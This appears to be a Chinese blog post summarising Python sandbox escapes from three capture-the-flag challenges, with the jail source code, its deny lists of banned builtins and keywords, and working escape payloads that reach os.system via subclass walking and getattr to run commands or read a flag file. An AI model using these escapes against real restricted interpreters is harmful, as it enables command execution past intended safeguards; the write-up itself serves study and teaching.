python沙箱逃逸小结

网络安全通

之前,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例。今天结合之前的所学和比赛经验写一个小结。

案例1

这是hackuctf 2012的一道题

1.    def make_secure():  
2.        UNSAFE = ['open',  
3.                  'file',  
4.                  'execfile',  
5.                  'compile',  
6.                  'reload',  
7.                  '__import__',  
8.                  'eval',  
9.                  'input']  
10.        for func in UNSAFE:  
11.            del __builtins__.__dict__[func]  
12.      
13.    from re import findall  
14.      
15.    # Remove dangerous builtins  
16.    make_secure()  
17.      
18.    print 'Go Ahead, Expoit me >;D'  
19.    while True:  
20.        try:  
21.            print ">>>",  
22.            # Read user input until the first whitespace character  
23.            inp = findall('\S+', raw_input())[0]  
24.            a = None  
25.            # Set a to the result from executing the user input  
26.            exec 'a=' + inp  
27.            print '>>>', a  
28.        except Exception, e:  
29.            print 'Exception:', e 

下面是脚本运行的效果。

1.png

效果相当于python的命令界面,我们的目标是读取当前目录下的flag文件。
如果题目没有任何的过滤,读取的命令如下,导入os包,然后直接执行命令。

2.png

但是直接导入os会报错,如下图

3.png

因为 del 命令删除了对应的命令,如下图

4.png

看了Ned Batchelder的分享后学到了新知识。我们可以用file对象read文件
下面是元类和元类型详细信息,元组,子对象

5.png

由于file在索引40,我们可以硬编码。如下图

6.png

用file类型读取flag文件。

7.png

案例2

1.    #!/usr/bin/env python   
2.    from __future__ import print_function  
3.       
4.    print("Welcome to my Python sandbox! Enter commands below!")  
5.       
6.    banned = [    
7.        "import",  
8.        "exec",  
9.        "eval",  
10.        "pickle",  
11.        "os",  
12.        "subprocess",  
13.        "kevin sucks",  
14.        "input",  
15.        "banned",  
16.        "cry sum more",  
17.        "sys"  
18.    ]  
19.       
20.    targets = __builtins__.__dict__.keys()    
21.    targets.remove('raw_input')    
22.    targets.remove('print')    
23.    for x in targets:    
24.        del __builtins__.__dict__[x]  
25.       
26.    while 1:    
27.        print(">>>", end=' ')  
28.        data = raw_input()  
29.       
30.        for no in banned:  
31.            if no.lower() in data.lower():  
32.                print("No bueno")  
33.                break  
34.        else: # this means nobreak  
35.            exec data

相对于第一题,第二题是没有直接的回显。
我们可以用catch_warnings类(索引在59),进行命令执行。

1.    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

8.png

案例3

1.    # -*-coding:utf-8-*-  
2.      
3.    #!/usr/bin/python3  
4.    import sys, cmd, os  
5.      
6.    del __builtins__.__dict__['__import__']  
7.    del __builtins__.__dict__['eval']  
8.      
9.    intro = """ 
10.    pwnhub cuit 
11.    pwn everything 
12.    Rules: 
13.        -No import 
14.        -No ... 
15.        -No flag 
16.     
17.    """  
18.      
19.    def execute(command):  
20.           exec(command, globals())  
21.      
22.    class Jail(cmd.Cmd):  
23.        prompt     = '>>> '  
24.        filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')  
25.      
26.        def do_EOF(self, line):  
27.            sys.exit()  
28.      
29.        def emptyline(self):  
30.            return cmd.Cmd.emptyline(self)  
31.      
32.        def default(self, line):  
33.            sys.stdout.write('\x00')  
34.      
35.        def postcmd(self, stop, line):  
36.            if any(f in line for f in self.filtered):  
37.                print("You are a big hacker !!!")  
38.                print("Go away")  
39.            else:  
40.               try:  
41.                    execute(line)  
42.               except NameError:  
43.                    print("NameError: name '%s' is not defined" % line)  
44.               except Exception:  
45.                    print("Error: %s" % line)  
46.            return cmd.Cmd.postcmd(self, stop, line)  
47.      
48.    if __name__ == "__main__":  
49.        try:  
50.            Jail().cmdloop(intro)  
51.        except KeyboardInterrupt:  
52.            print("\rSee you next time !")

这题是cuit2017的题目,python3环境
这里主要过滤了大量的字符,包括1,2题所用的点号。

1.    print(getattr(os, "system")  

获取system函数地址,

1.    print(getattr(os, "system")("ls"))  

执行system(“ls”)
下面是获取flag的姿势

9.png

以上都是利用Python作为脚本语言的特性来逃逸,但是还有一种高深的基于c源码的逃逸,简单点就是用c程序的漏洞实现漏洞,类似于PWN。最后也提供了参考链接,欢迎一起交流学习。

参考链接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html

    [...]8.python沙箱逃逸小结[...]

Submit